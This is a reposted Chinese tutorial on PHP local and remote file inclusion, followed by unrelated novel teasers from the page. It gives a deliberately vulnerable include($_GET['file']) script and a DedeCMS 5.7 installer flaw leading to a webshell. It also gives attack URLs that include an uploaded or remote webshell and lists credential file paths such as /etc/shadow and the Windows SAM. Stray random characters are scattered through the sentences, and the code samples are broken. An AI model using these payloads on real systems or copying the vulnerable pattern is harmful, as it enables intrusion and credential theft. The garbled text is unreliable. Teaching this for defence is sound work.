Web安全之走進(jìn)文件包含的世界

來(lái)源:http://bbs.ichunqiu.com/thread-9817-1-1.html?from=ch

社區(qū):i春秋

時(shí)間:2016年8月9日22:42:00

作者:LoneliNess

前言

俗話說(shuō):“知己知彼怒坯,方能百戰(zhàn)不殆”蜈七,今天,小編就帶著你們走進(jìn)文件包含的世界讯屈,去進(jìn)一步的了解它绑蔫,深入它……………….如有錯(cuò)誤运沦,請(qǐng)你雅正!配深!

目錄

第一節(jié)初識(shí)文件包含漏洞

·? ?? ?1.1携添、 什么是包含

·? ?? ?1.2、 文件包含漏洞是怎樣產(chǎn)生的

·? ?? ?1.3篓叶、 文件包含漏洞的分類

第二節(jié)??詳解PHP文件包含漏洞

·? ?? ? 1.4烈掠、解析PHP文件包含

·? ?? ? 1.5、文件包含實(shí)例及漏洞分析

·? ?? ? 1.6缸托、常見(jiàn)的幾種攻擊手法

·? ?? ? 1.7左敌、修復(fù)方案

第三節(jié) 嚴(yán)正聲明

正文

第一節(jié)初識(shí)文件包含漏洞

1.1、 什么是包含

程序猿常常把可以重復(fù)利用的函數(shù)寫(xiě)到單文件中俐镐,在使用一些函數(shù)時(shí)矫限,直接調(diào)用,無(wú)須再次編寫(xiě),這種過(guò)程呢叼风,就稱為包含

1.2取董、? ?文件包含漏洞是怎樣產(chǎn)生的

程序猿為了讓代碼更靈活,會(huì)設(shè)置一些變量咬扇,用來(lái)動(dòng)態(tài)調(diào)用甲葬,由于這種靈活,使客戶端闊以調(diào)用一個(gè)惡意的文件懈贺,從而造成文件包含漏洞

1.3经窖、? ?文件包含漏洞的分類

文件包含漏分為本地文件包含(Local File Inclusion)程文件包含(Remote FileInclusion)

第二節(jié)??文件包含漏洞實(shí)例及常見(jiàn)的幾種攻擊手法

1.4、? ?解析文件包含

PHP文件包含漏洞涉及到的危險(xiǎn)函數(shù):

include(),require()和include_once(),require_once()

以上這些函數(shù)都闊以進(jìn)行文件包含梭灿,但作用不同画侣,區(qū)別如下:

Include:包含并運(yùn)行指定文件,當(dāng)包含外部文件發(fā)生錯(cuò)誤時(shí)堡妒,系統(tǒng)給出警告配乱,但整個(gè)php文件繼續(xù)執(zhí)行。

Require:找不到包含文件產(chǎn)生致命錯(cuò)誤皮迟,并停止腳本

Include_once:這個(gè)函數(shù)跟include函數(shù)作用幾乎相同搬泥,只是他在導(dǎo)入函數(shù)之前先檢測(cè)下該文件是否被導(dǎo)入。如果已經(jīng)執(zhí)行一遍那么就不重復(fù)執(zhí)行了伏尼。

Require_once:這個(gè)函數(shù)跟require的區(qū)別 跟上面我所講的include和include_once是一樣的忿檩。所以我就不重復(fù)了。

1.5爆阶、? ?文件包含實(shí)例及漏洞分析

1)文件包含實(shí)例

本次測(cè)試燥透,服務(wù)器環(huán)境為:

PHP??5.3.29

Mysql??5.0.8

Apache 2.4.18

1 本地文件包含(LFI)

小編寫(xiě)了一個(gè)test.php文件

[AppleScript]純文本查看復(fù)制代碼

?

1

2

3

4

5

if(isset($_GET['file'])){

$file=$_GET['file'];

include $file;}

?>

然后在寫(xiě)包含了一個(gè)phpinfo.txt進(jìn)入文件內(nèi)容是符合PHP語(yǔ)法的代碼

[AppleScript]純文本查看復(fù)制代碼

?

1

2

3

phpinfo();

?>

之后的效果如圖所示

2 遠(yuǎn)程文件包含(RFI)

小編在這里須強(qiáng)調(diào)的是遠(yuǎn)程文件包含,必須要確定PHP開(kāi)啟了遠(yuǎn)程包含功能選項(xiàng)辨图,開(kāi)啟此功能須在PHP.ini配置文件中修改班套,成功后重啟服務(wù)器生效

即allow_url_include=on

實(shí)例如下:

www.xxxcom目錄下存在1.txt,代碼如下(PS:沒(méi)有絲毫罵蛋總的意思):

[AppleScript]純文本查看復(fù)制代碼

?

1

2

3

echo"yyyxy is a bad man"

?>

在test.php中代碼如下:

[AppleScript]純文本查看復(fù)制代碼

?

1

2

3

4

5

if(isset($_GET['file'])){

$file=$_GET['file'];

include $file;}

?>

訪問(wèn)url:http://www.xxxcom/test.php?file=http://localhost/1.txt

2漏洞實(shí)例分析

就拿Dedecms5.7 來(lái)講解吧(PS:想聽(tīng)更好的講解可以去i春秋官網(wǎng)學(xué)習(xí))

i春秋文件包含課程講解地址:http://www.ichunqiu.com/course/51575

廣告打得有點(diǎn)生硬故河,第一次吱韭,不好意思……..

這個(gè)漏洞主要由兩個(gè)原因引起的,其中最重要的一個(gè)原因忧勿,便是開(kāi)發(fā)者沒(méi)有認(rèn)識(shí)到Apache服務(wù)器解析文件的流程杉女,從而導(dǎo)致安

裝文件在安裝后居然可以被繼? ? 續(xù)訪問(wèn)。這里接單解釋下Apache解析文件的流程:

當(dāng)Apache檢測(cè)到一個(gè)文件有多個(gè)擴(kuò)展名時(shí)鸳吸,如1.php.bak,會(huì)從右向左判斷速勇,直到有一個(gè)Apache認(rèn)識(shí)的擴(kuò)展名晌砾。如果所有的擴(kuò)展名Apache都不認(rèn)識(shí),那? ? 么變會(huì)按照httpd.conf配置中所指定的方式展示這個(gè)問(wèn)題烦磁,一般默認(rèn)情況下是“text/plain”這種方式养匈。

那么這樣的話哼勇,像1.php.bak這樣的文件名就會(huì)被當(dāng)做php文件所解析。這也就是傳說(shuō)中的Apache解析漏洞呕乎。

問(wèn)題出在這里install/index.php.bak

[AppleScript]純文本查看復(fù)制代碼

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16[php]

else if($step==11)

{

require_once(‘../data/admin/config_update.php’);

$rmurl=$updateHost.”dedecms/demodata.{$s_lang}.txt”;

echo $rmurl;

$sql_content=file_get_contents($rmurl);

$fp=fopen($install_demo_name,’w’);

if(fwrite($fp,$sql_content))

echo ‘? [√] 存在(您可以選擇安裝進(jìn)行體驗(yàn))’;

else

echo ‘? [×] 遠(yuǎn)程獲取失敗’;

unset($sql_content);

fclose($fp);

exit();

[/php]

了解Dedecms參數(shù)機(jī)制的同學(xué)都知道积担,代碼中的一些變量我們是可以通過(guò)GET參數(shù)的方式進(jìn)行操控的。那么上面代碼很明顯猬仁,可以向指定的文件內(nèi)寫(xiě)入任意內(nèi)容帝璧,從而導(dǎo)致獲取webshell

如果想聽(tīng)更詳細(xì)的講解請(qǐng)到http://www.ichunqiu.com/course/51575

1.6、? ?常見(jiàn)的幾種攻擊手法

1)? ?? ? 本地包含配合上傳拿shell

大多數(shù)網(wǎng)站都會(huì)有上傳功能湿刽,上傳個(gè)圖片的烁,假設(shè)已上傳圖片一句話木馬,路徑為xxx/1.jpg诈闺,訪問(wèn)http://www.xxx.com/index.php?file=./xxx/1.jpg

2)? ?? ? 遠(yuǎn)程包含拿shell

這種應(yīng)該非常少見(jiàn)了吧渴庆,目標(biāo)主機(jī)必須保證allow_url_include=on情況,在http://***.com/根目錄下有一個(gè)一句話木馬的txt雅镊,訪問(wèn)http://www.xxx.com/index.php?file=http://***.com/muma.txt

3)讀取敏感信息

訪問(wèn)url:http://www.xxx.com/index.php?file=/etc/my.conf

如果存在本文件襟雷,他會(huì)讀出文件的內(nèi)容……..反之

常見(jiàn)的敏感信息路徑

Windows系統(tǒng)

c:\boot.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?// 查看系統(tǒng)版本

c:\windows\system32\inetsrv\MetaBase.xml? ?? ?? ?? ?? ?//??IIS配置文件

c:\windows\repair\sam? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??存儲(chǔ)Windows系統(tǒng)初次安裝的密碼

c:\ProgramFiles\mysql\my,ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD? ?? ?? ?? ? //??MySQL root

c:\windows\php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?php 配置信息

c:\windows\my.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?MySQL 配置文件

......

Linux/Unix系統(tǒng)

/etc/passwd? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶信息

/etc/shadow? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶密碼文件

/usr/local/app/apache2/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ???//? ?Apache2默認(rèn)配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf? ?? ???//? ?虛擬網(wǎng)站配置

/usr/local/app/php5/lib/php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??PHP相關(guān)配置

/etc/httpd/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?Apache配置文件

/etc/my.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?mysql 配置文件

1.7蝌借、??修復(fù)方案

限制路徑懦砂,禁止跳轉(zhuǎn)字符悼沿,如:../

把需要包含的頁(yè)面固定寫(xiě)好凫岖,如:include(“test.php”)

第三節(jié) 嚴(yán)正聲明

本文討論的技術(shù)僅用于研究學(xué)習(xí)技術(shù)交流悦穿,嚴(yán)禁用于非法行為和破壞行為浮声,否則造成的一切法律責(zé)任與作者以及本網(wǎng)站無(wú)關(guān)怨咪。

本文原創(chuàng)作者:LoneliNess拭荤,轉(zhuǎn)載須注明來(lái)自i春秋社區(qū)(BBS.ichunqiu.com)

結(jié)束語(yǔ):

I春秋僚饭,你值得擁有U鸲!!不忘初心鳍鸵,方得始終N辍!偿乖!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末击罪,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子贪薪,更是在濱河造成了極大的恐慌媳禁,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,651評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件画切,死亡現(xiàn)場(chǎng)離奇詭異竣稽,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,468評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門(mén)毫别,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)娃弓,“玉大人,你說(shuō)我怎么就攤上這事岛宦√ù裕” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,931評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵砾肺,是天一觀的道長(zhǎng)挽霉。 經(jīng)常有香客問(wèn)我,道長(zhǎng)债沮,這世上最難降的妖魔是什么炼吴? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,218評(píng)論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮疫衩,結(jié)果婚禮上硅蹦,老公的妹妹穿的比我還像新娘。我一直安慰自己闷煤,他們只是感情好童芹,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,234評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著鲤拿,像睡著了一般假褪。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上近顷,一...
    開(kāi)封第一講書(shū)人閱讀 51,198評(píng)論 1 299
  • 那天生音,我揣著相機(jī)與錄音,去河邊找鬼窒升。 笑死缀遍,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的饱须。 我是一名探鬼主播域醇,決...
    沈念sama閱讀 40,084評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼蓉媳!你這毒婦竟也來(lái)了譬挚?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 38,926評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤酪呻,失蹤者是張志新(化名)和其女友劉穎减宣,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體玩荠,經(jīng)...
    沈念sama閱讀 45,341評(píng)論 1 311
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡蚪腋,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,563評(píng)論 2 333
  • 正文 我和宋清朗相戀三年丰歌,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了姨蟋。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片屉凯。...
    茶點(diǎn)故事閱讀 39,731評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖眼溶,靈堂內(nèi)的尸體忽然破棺而出悠砚,到底是詐尸還是另有隱情,我是刑警寧澤堂飞,帶...
    沈念sama閱讀 35,430評(píng)論 5 343
  • 正文 年R本政府宣布灌旧,位于F島的核電站,受9級(jí)特大地震影響绰筛,放射性物質(zhì)發(fā)生泄漏枢泰。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,036評(píng)論 3 326
  • 文/蒙蒙 一铝噩、第九天 我趴在偏房一處隱蔽的房頂上張望衡蚂。 院中可真熱鬧,春花似錦骏庸、人聲如沸毛甲。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,676評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)玻募。三九已至,卻和暖如春一姿,著一層夾襖步出監(jiān)牢的瞬間七咧,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,829評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工叮叹, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留艾栋,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,743評(píng)論 2 368
  • 正文 我出身青樓衬横,卻偏偏與公主長(zhǎng)得像裹粤,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子蜂林,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,629評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容